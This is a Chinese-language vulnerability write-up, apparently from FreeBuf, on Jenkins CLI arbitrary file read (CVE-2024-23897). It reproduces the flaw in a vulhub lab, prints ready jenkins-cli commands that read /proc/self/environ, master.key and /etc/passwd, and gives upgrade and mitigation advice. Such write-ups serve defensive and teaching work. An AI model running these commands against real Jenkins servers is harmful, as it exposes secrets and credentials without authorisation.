Jenkins 通过 CLI 读取任意文件(CVE-2024-23897)
Jenkins CLI命令行解析器存在漏洞(CVE-2024-23897),攻击者可利用"@文件"功能读取服务器任意文件内容。该漏洞影响Jenkins <= 2.441和LTS <= 2.426.2版本。修复建议升级至安全版本或禁用CLI功能以降低风险。 2025-8-5 02:57:52 Author: www.freebuf.com(查看原文) 阅读量:18 收藏

01漏洞详情

Jenkins 是一个开源自动化服务器。

在命令行使用 Jenkins 的 CLI 时,Jenkins 会调用 args4j 这个开源库来解析你输入的参数和选项。这个解析器有个“@文件”功能:如果参数里写了 @ 加上一个文件路径,它就会自动把那个文件的内容插入到命令里。正是这个功能,让攻击者可以借机让 Jenkins 读取并返回服务器上任意文件的内容

02内容介绍:

什么是CLI命令

“CLI 命令”是指通过 命令行界面(Command Line Interface,简称 CLI) 输入的指令,用来与操作系统或程序进行交互。CLI 是一种用户与计算机进行交互的方式。它不同于图形用户界面(GUI,比如你在桌面上点击图标),而是通过输入文本命令来执行操作。

CLI 的窗口通常是一个 终端(Terminal),比如:Windows 上的:cmd、PowerShell、Windows Terminal和macOS / Linux 上的:Terminal、iTerm2 等

参考:

03影响范围

影响版本

Jenkins <= 2.441

Jenkins LTS <= 2.426.2

04漏洞利用步骤:

通过在github上下载vulhub,进入vulhub文件夹中的jenkins看到CVE-2024-23897进入CVE-2024-23897后通过 docker compose up -d 命令启动环境。

成功启动后 在浏览器上搜索url: http://your-ip:8080/访问上环境(默认管理员用户名和密码为admin和vulhub)

下载jenkins-cli.jar

在客户端上浏览器上输入

http://localhost:8080/jnlpJars/jenkins-cli.jar

⚠️:jenkins-cli.jar 是什么?

这个 JAR 包位于 Jenkins 主机的 JENKINS_URL/jnlpJars/jenkins-cli.jar 路径下,是随 Jenkins 一起部署的官方 CLI 客户端。

作用

它封装了与 Jenkins Controller 通信的所有客户端逻辑,包括:

通过 HTTP(或 JNLP / WebSocket)协议将命令和参数发送到服务器;

对 args4j 解析出的命令行选项进行封装;

接收并渲染服务器返回的执行结果或错误信息。

读取文件/proc/self/environ

获取 Jenkins 基目录JENKINS_HOME=/var/jenkins_home

在保存jenkins-cli.jar的目录下执行:

java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/proc/self/environ"

检索敏感文件

secrets.key或master.key(匿名,只能通过命令行上的错误读取文件的第一行):

java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secret.key"

java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secrets/master.key"

因为“允许匿名读取访问”已打开 还可以读取文件的全部内容:

java -jar jenkins-cli.jar -s http://localhost:8080/ -http connect-node "@/etc/passwd"

05客户端读取文件

当你在命令行里写 help 1 "@/var/jenkins_home/secret.key" 时,JVM 启动 jenkins-cli.jar,args4j 在本地把 @… 替换成 /var/jenkins_home/secret.key 文件的内容(通常就是 Jenkins Controller 上的 secret.key)。

向服务器发起请求

CLI 客户端将命令(help 1 <文件内容>)通过 HTTP POST 发给 Jenkins 服务器的 /cli 接口。

服务器端回显

help 命令本来会把它收到的参数——即文件内容——当作“帮助条目”返回给客户端,于是你就看到了文件中的密钥或者任意文本。

06connect-node 命令的参数回显

connect-node 的原意是让一个 Jenkins Agent(节点)通过 CLI 注册到 Controller,它期望收到两个参数:

节点名称

节点密钥(secret)

当你把整个 /etc/passwd 文件当“密钥”传过去时,Jenkins 在处理这条命令失败(因为这显然不是合法的节点 secret)时,会在错误信息里完整地回显它收到的“密钥”参数——也就是你传入的整个文件内容。

相比之下,像 help 这种只拿来打印帮助文本的命令,Jenkins 为了“可读性”默认只输出前几行,所以只能看到文件开头;而 connect-node 并没有对参数长度做任何截断,于是就会把文件的所有行都“原封不动”地返还给你。

07处置建议

安全更新

目前官方已有可更新版本,建议受影响用户升级至:

Jenkins >= 2.442

Jenkins LTS >= 2.426.3

下载链接:https://www.jenkins.io/download/

缓解措施:

禁用CLI或限制访问:如果不需要使用Jenkins CLI,可以在Jenkins配置中禁用CLI功能。如果需要使用CLI,请限制对CLI的访问权限,并仅授权给受信任的用户。

通用建议:

最小权限原则:按照最小权限原则,为用户和插件分配适当的权限级别,仅提供其所需的操作和功能。

安全配置:仔细配置Jenkins的安全设置,包括启用CSRF保护、禁用不必要的功能和插件、限制对重要文件和密钥的访问等。

密钥管理:妥善管理和保护Jenkins中使用的密钥,包括限制对密钥文件的访问权限、定期更换密钥、使用安全的密钥存储等。

审查日志:定期审查Jenkins的日志文件,以及监控和检测任何可疑活动或异常行为。


文章来源: https://www.freebuf.com/articles/vuls/442976.html
如有侵权请联系:admin#unsafe.sh